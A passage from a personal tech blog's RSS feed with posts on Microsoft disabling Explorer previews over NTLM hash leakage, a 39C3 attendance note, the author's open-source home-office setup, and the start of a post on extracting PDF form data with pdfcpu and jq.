&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20220610-vom-scheitern/">https://blog.jakobs.systems/micro/20220610-vom-scheitern/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Microsoft Disables Explorer Preview (Almost)</title><link>https://blog.jakobs.systems/en/micro/20251027-microsoft-deactivate-explorer-preview/</link><pubDate>Mon, 27 Oct 2025 08:50:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20251027-microsoft-deactivate-explorer-preview/</guid><description>Since October 14, 2025, Microsoft has disabled file previews in Windows File Explorer — at least for files downloaded from the Internet and those stored on network shares. Attackers could capture NTLM hashes simply by viewing the preview.</description><category>Microsoft</category><category>MotW</category><category>Security</category><category>NTLM</category><content>&lt;p>Since October 14th, 2025, Microsoft has disabled previews in Windows File Explorer, for at least all downloaded files from the Internet and stored on network shares.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> Attackers could capture NTLM hashes simply by viewing the preview.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251027-motw-preview.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251027-motw-preview.webp#c" alt="Explorer screenshot with preview error message" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>I had to smile. It’s as if Microsoft had read my blog post &amp;ldquo;Why Every Windows AD Should Be Kept Offline&amp;rdquo; earlier this month,&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> where I discussed exactly this kind of NTLM leakage.&lt;/p>
&lt;p>Of course, it’s generally better when digital processes don’t rely on handling loose files - not from the internet, not from any network share. For years I’ve recommended completely disabling the preview function via the appropriate Group Policies (GPO). That’s always been a topic of debate among users, admins, and decision-makers.&lt;/p>
&lt;p>Once again, it’s typical Microsoft patchwork.&lt;br>
A maximally harmful, yet ineffective measure:&lt;/p>
&lt;ul>
&lt;li>The conflict with users is inevitable.&lt;/li>
&lt;li>The admins have to clean up the mess.&lt;/li>
&lt;li>The actual problem remains unsolved.&lt;/li>
&lt;/ul>
&lt;p>Bravo!&lt;/p>
&lt;p>Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://support.microsoft.com/en-us/topic/bla-56d55920-6187-4aae-a4f6-102454ef61fb">https://support.microsoft.com/en-us/topic/bla-56d55920-6187-4aae-a4f6-102454ef61fb&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20251005-ntlm-ad-offline/">https://blog.jakobs.systems/blog/20251005-ntlm-ad-offline/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Meet me @ 39C3 in Hamburg</title><link>https://blog.jakobs.systems/en/micro/20251023-39c3-congress-hamburg/</link><pubDate>Thu, 23 Oct 2025 09:04:43 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20251023-39c3-congress-hamburg/</guid><description>At the end of 2025, there will be a small highlight and educational holiday: the 39th Chaos Communication Congress (39C3) in Hamburg.</description><category>39C3</category><category>CCC</category><category>Hamburg</category><content>&lt;p>At the end of 2025, there will be a small highlight and educational holiday: the 39th Chaos Communication Congress (39C3) in Hamburg.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> From 27th to 30th December, you can find me at the CCH in Hamburg.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251023-39c3-ticket.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251023-39c3-ticket.webp#c" alt="39C3 ticket just bought" loading="lazy"/>&lt;/picture>
.&lt;/p>
&lt;p>Looking forward,&lt;br>
Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://events.ccc.de/congress/2025/infos/index.html">https://events.ccc.de/congress/2025/infos/index.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>My Open-Source Tech Stack</title><link>https://blog.jakobs.systems/en/blog/20251022-homeoffice-lineup/</link><pubDate>Wed, 22 Oct 2025 12:29:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20251022-homeoffice-lineup/</guid><description>How I live digital independence with free software, used hardware, and my own infrastructure. My battle-hardened open-source tech stack for a professional and sustainable home office.</description><category>Opensource</category><category>Homeoffice</category><category>OBS</category><category>Obsolescence</category><category>Streaming</category><category>Software</category><content>&lt;p>Some time ago, in my post &amp;ldquo;From Mistrel to Heretic&amp;rdquo;,&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> I wrote about my journey to digital independence. I received several questions about my tech stack afterwards. A fair question I’m happy and willing to answer:&lt;/p>
&lt;p>I rely on free solutions with GNU/Linux Debian&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> as foundation. Stable&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> runs on servers and critical systems, while unstable or &amp;ldquo;sid&amp;rdquo; powers my daily drivers. For me, the ideal balance between robustness and up-to-date software.&lt;/p>
&lt;h2 id="used-hardware">Used Hardware&lt;/h2>
&lt;p>In general, I buy all my hardware, except harddrives and displays, second-hand. This isn’t just about sustainability. It’s about pragmatism and standardization aswell.&lt;/p>
&lt;p>My current daily driver, a ThinkPad T480, has been with me for about five years now. Back then, I bought it for around 400,- Euro. A fraction of its original price. Today, it goes for about 180,- Euro and still runs reliably and efficiently with GNU/Linux for years to come.&lt;/p>
&lt;p>I see hardware as a consumable tool. It may have scratches, fall down, or break. A replacement device sits ready-to-go behind me in the shelf. You wouldn’t do that with high-priced machines.&lt;/p>
&lt;p>Unlike proprietary systems with their odd license keys and activation requirements, a hardware swap in my setup is completely hassle-free: Just swap the drive or deploy an image and go.&lt;/p>
&lt;p>All essential data is redundantly stored within my own infrastructure.&lt;/p>
&lt;h2 id="my-own-infrastructure">My Own Infrastructure&lt;/h2>
&lt;p>I don’t just preach that companies should operate their own infrastructure. I live that principle. Lead by example,&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> or as it’s called in the software world, dogfooding.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>My work hub consists of a self-hosted Nextcloud&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> managing appointments, contacts, tasks, and loose files.&lt;/p>
&lt;p>It’s complemented by a Forgejo&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> Git server and several virtual machines on a Proxmox hypervisor.&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> I’ve already described the development of this architecture in an earlier blog post.&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251022-rack.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251022-rack.webp#c" alt="Network rack consisting of switch, firewall, Proxmox and monitoring host" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Through a reverse VPN, the individual hosts in my home office are connected to a rented root server at an ISP, making them publicly accessible (e.g. cloud.jakobs.systems). It’s called reverse VPN because the servers themselves initiate the connection to the reverse proxy&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> not the clients.&lt;/p>
&lt;p>Only my GNU/Linux mail server and my video conferencing server (running BigBlueButton&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup>) are hosted externally on additional rented root servers. Naturally, they’re located in Germany, operated by an European ISP.&lt;/p>
&lt;p>For network security, I use ipfire.org&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> as a firewall and segmentation gateway. It runs Suricata&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> as IDS/IPS&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> and Monit&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> for certificate monitoring.&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup> Everything sits in a dedicated network segment behind a FritzBox that provides Wi-Fi for the rest of the family.&lt;/p>
&lt;p>A dedicated host handles remote logging and monitoring using rsyslog&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup> and Prometheus&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup>. My Grafana dashboards are already introduced in an earlier blog post.&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="video-conferencing">Video Conferencing&lt;/h2>
&lt;p>Video conferences and &amp;ldquo;live sessions&amp;rdquo; have been part of my daily routine long before the COVID lockdowns. Sometimes I get feedback like:&lt;/p>
&lt;blockquote>
&lt;p>Mr. Jakobs, why do your video conferences always look so professional?&lt;/p>
&lt;/blockquote>
&lt;p>Which tells me I’m not doing this entirely wrong. I usually reply diplomatically with &amp;ldquo;No idea.&amp;rdquo; I value good lighting and a quality headset. Two simple LED studio lamps provide solid illumination. For audio, I rely on an Arctis Pro Wireless,&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup> with a hardware mute button right on the headset.&lt;/p>
&lt;p>I’ve been working remotely since the mid-2000s. Even back then, I experimented with multiple cameras, as shown in this 2007 shot of my workspace (notice the black spheres on the monitors):&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251022-homeoffice2007.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251022-homeoffice2007.webp#c" alt="My workspace in 2007" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Even then, I strictly separated a dedicated conference PC from my mobile daily driver. It’s a principle I’ve stayed loyal to. Comparing the images, the fundamental layout and structure haven’t changed that much.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251022-homeoffice2025.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251022-homeoffice2025.webp#c" alt="My workspace in 2025" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>What has changed dramatically over the past 18 years is my video and streaming tech stack:&lt;/p>
&lt;ul>
&lt;li>OBS Studio for directing and scene management&lt;/li>
&lt;li>Streamdeck for scene switching&lt;/li>
&lt;li>Owncast for live streaming&lt;/li>
&lt;/ul>
&lt;p>OBS Studio&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup> forms the core of my video conferencing setup. I’ve prepared multiple scenes there (e.g. &amp;ldquo;Welcome&amp;rdquo; or &amp;ldquo;Break&amp;rdquo;). Using retro filters, I deliberately introduce distortions so no one thinks the video feed is frozen. Scene switching is handled by a Streamdeck, whose programmable buttons I configure with the free StreamController software.&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251022-streamdeck.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251022-streamdeck.webp#c" alt="Streamdeck controller with programmable buttons" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>For presentations, I sometimes use a generic HDMI splitter and an Elgato CamLink USB adapter, which feeds any HDMI source into my OBS.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251022-camlink.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251022-camlink.webp#c" alt="Streamdeck CamLink adapter from HDMI to USB" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>For live streaming directly on my blog,&lt;sup id="fnref:23">&lt;a href="#fn:23" class="footnote-ref" role="doc-noteref">23&lt;/a>&lt;/sup> I use the open-source software Owncast,&lt;sup id="fnref:24">&lt;a href="#fn:24" class="footnote-ref" role="doc-noteref">24&lt;/a>&lt;/sup> which I customized for my needs. During the COVID lockdowns, I hosted numerous &amp;ldquo;live sessions&amp;rdquo; this way.&lt;sup id="fnref:25">&lt;a href="#fn:25" class="footnote-ref" role="doc-noteref">25&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>My home office isn’t &amp;ldquo;off the shelf.&amp;rdquo; It’s pragmatic, integrated, robust, and has evolved over decades. Much of it is automated with minimal administrative overhead. Everything I use, I do understand, I can modify and if necessary, I can replace or repair myself.&lt;/p>
&lt;p>This is true luxury and real freedom in an increasingly closed digital world full of dependencies, planned obsolescence,&lt;sup id="fnref:26">&lt;a href="#fn:26" class="footnote-ref" role="doc-noteref">26&lt;/a>&lt;/sup> and a lack of flexibility.&lt;/p>
&lt;p>I’m convinced that what I can do isn’t special and every company should be able to do the same.&lt;/p>
&lt;p>Feel free to reach out.&lt;br>
I’m always happy to help.&lt;/p>
&lt;p>Best regards,&lt;br>
Tomas Jakobs&lt;/p>
&lt;h3 id="update">Update&lt;/h3>
&lt;p>There are still people who feel obligated telling me that the printer is from HP, the Sidewinder Force Feedback is from Microsoft, and there is a Macbook Pro in sight.&lt;/p>
&lt;p>Yes, the picture does indeed show hardware from different manufacturers, gathered over several decades. Anyone who only looks for logos has obviously overlooked or misunderstood the content.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://blog.jakobs.systems/en/blog/20250712-from-mistrel-to-heretic/">https://blog.jakobs.systems/en/blog/20250712-from-mistrel-to-heretic/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://debian.org">https://debian.org&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Debian#Branches">https://en.wikipedia.org/wiki/Debian#Branches&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2022.888653/full">https://frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2022.888653/full&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Eating_your_own_dog_food">https://en.wikipedia.org/wiki/Eating_your_own_dog_food&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://nextcloud.com">https://nextcloud.com&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://forgejo.org">https://forgejo.org&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://proxmox.com">https://proxmox.com&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20250707-housekeeping/">https://blog.jakobs.systems/blog/20250707-housekeeping/&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Reverse_proxy">https://en.wikipedia.org/wiki/Reverse_proxy&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://bigbluebutton.org/">https://bigbluebutton.org/&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://ipfire.org">https://ipfire.org&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://suricata.io/">https://suricata.io/&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Intrusion_detection_system">https://en.wikipedia.org/wiki/Intrusion_detection_system&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://mmonit.com/monit/">https://mmonit.com/monit/&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20210112-cert-monitoring/">https://blog.jakobs.systems/blog/20210112-cert-monitoring/&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://www.rsyslog.com/">https://www.rsyslog.com/&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="https://prometheus.io/">https://prometheus.io/&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20201025-monitoring-prometheus/">https://blog.jakobs.systems/blog/20201025-monitoring-prometheus/&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://steelseries.com/gaming-headsets/arctis-pro">https://steelseries.com/gaming-headsets/arctis-pro&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>&lt;a href="https://obsproject.com/">https://obsproject.com/&lt;/a>&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>&lt;a href="https://github.com/StreamController/StreamController">https://github.com/StreamController/StreamController&lt;/a>&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:23">
&lt;p>&lt;a href="https://blog.jakobs.systems/live/">https://blog.jakobs.systems/live/&lt;/a>&amp;#160;&lt;a href="#fnref:23" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:24">
&lt;p>&lt;a href="https://owncast.online/">https://owncast.online/&lt;/a>&amp;#160;&lt;a href="#fnref:24" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:25">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20210524-livestream/">https://blog.jakobs.systems/micro/20210524-livestream/&lt;/a>&amp;#160;&lt;a href="#fnref:25" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:26">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Planned_obsolescence">https://en.wikipedia.org/wiki/Planned_obsolescence&lt;/a>&amp;#160;&lt;a href="#fnref:26" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Automatically Reading PDF Forms</title><link>https://blog.jakobs.systems/en/blog/20251012-pdfform-extraction/</link><pubDate>Sat, 11 Oct 2025 21:00:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20251012-pdfform-extraction/</guid><description>This short blog post shows what processing filled PDF forms can look like in practice so that they don’t end up just buried in any folder forever.</description><category>Opensource</category><category>pdfcpu</category><category>Digitization</category><category>PDF</category><category>Automation</category><category>Bash</category><content>&lt;p>The Portable Document Format (PDF)&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> is a great example of how an originally brilliant concept for displaying print documents has been ruined over decades. Initially conceived as successor to PostScript,&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> it has degenerated into a universal container format. Text, images, vectors, scripts, fonts, form data, even complete 3D models there’s hardly anything, that can’t end up in a PDF, including Doom.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/p>
&lt;h2 id="the-pdf-pseudo-standard">The PDF Pseudo-Standard&lt;/h2>
&lt;p>In practice this means: Hardly any two PDFs are alike. A single piece of information can be packaged in a dozen different ways, depending on which program was used to create it.&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> And we haven’t even gotten to the topic of signatures yet.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>At least there are ISO standards for long-term archiving, such as PDF/A.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> That provides at least some structure and serves as a reference for all systems and viewers so nobody is forced to use Adobe products, the company behind the infamous Acrobat Reader.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/p>
&lt;p>It may sound confusing: PDF is the worst possible exchange format and yet at the same time it&amp;rsquo;s the best, because it’s universal and can be used anywhere.&lt;/p>
&lt;h2 id="pdf-forms---do-it-right">PDF Forms - Do it Right!&lt;/h2>
&lt;p>People keep sending me PDFs I’m supposed to fill out. However, only a few of them are actually fillable within a browser or PDF viewer. Am I really supposed to print them out, fill them in by hand, scan them and send them back? Or sketch something freely into the PDF with my mouse? Situations like that make me want to scream:&lt;/p>
&lt;blockquote>
&lt;p>Create fillable PDF forms, not PDFs that just look like forms!&lt;/p>
&lt;/blockquote>
&lt;p>One possible explanation: Many of these &amp;ldquo;professional&amp;rdquo; documents come from Microsoft Office, which in the year 2025 still cannot create fillable PDF forms.&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>&lt;/p>
&lt;p>If you want to use PDF forms in your processes, please use LibreOffice instead.&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> I don’t recommend LibreOffice because it’s particularly great, but because it’s an available and, most importantly, working solution. With a few pitfalls you should know.&lt;/p>
&lt;p>The PDF forms created in this way can be filled out and returned on all common systems, viewers, and browsers. Without any proprietary subscription-based software including vendor lock-in.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251012-libreoffice-pdfform.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251012-libreoffice-pdfform.webp#c" alt="Creating a PDF form in LibreOffice, with the finished PDF shown in a viewer on the right" loading="lazy"/>&lt;small>Creating a PDF form in LibreOffice, with the finished PDF shown in a viewer on the right&lt;/small>&lt;/picture>
&lt;/p>
&lt;h2 id="whats-next">What&amp;rsquo;s Next?&lt;/h2>
&lt;p>How to create PDF forms in LibreOffice is not the topic of this post. I want to focus on what happens afterwards when the filled out and returned forms start piling up in a folder. This is where the real magic starts and the whole tragedy unfolds aswell.&lt;/p>
&lt;p>Instead of automatically processing the already structured form data, the following happens: PDFs end up in nested (SMB) folder structures or worse, in Outlook/ Exchange mailboxes. Lost forever. If at all, transfer of information happens only manually.&lt;/p>
&lt;p>That’s probably the real reason why many office workers have two displays: On the left a PDF with its contents. On the right the ERP system, where the information is typed in manually. Or the nicely structured PDF is drag and dropped from left to right as unstructured BLOB&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup>. Classic style with a paperclip icon. Digitalization straight from Absurdistan.&lt;/p>
&lt;h2 id="extracting-information-from-pdf-forms">Extracting Information from PDF Forms&lt;/h2>
&lt;p>Below I’ll describe my own process for automatically processing data from PDF forms using a bit of Bash and free software. As always, without claiming completeness or universality: Your mileage may vary.&lt;/p>
&lt;p>I try to keep the dependency list for all my technical stacks as short and as simple: pdfcpu,&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> jq,&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> and curl.&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> While pdfcpu has to be installed manually from its Git repository, the other two are included in the standard repositories of most GNU/Linux distributions.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251012-pdfcpu.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251012-pdfcpu.webp#c" alt="Left: the view of the filled PDF form. Right: the data pdfcpu extracts from the form fields" loading="lazy"/>&lt;small>Left: the view of the filled PDF form. Right: the data pdfcpu extracts from the form fields&lt;/small>&lt;/picture>
&lt;/p>
&lt;p>The compact Go-Binary pdfcpu extracts PDF form data into a structured JSON file.&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> This intermediate format is then processed further on with jq. Two common scenarios:&lt;/p>
&lt;h3 id="exporting-to-a-csv-file">Exporting to a CSV File&lt;/h3>
&lt;p>The following snippet shows how to generate a CSV file for further processing from a set of .json files in a folder. The form field names correspond to those in my previously created PDF. For simplicity, the yes/no option fields are represented by numbers.&lt;/p>
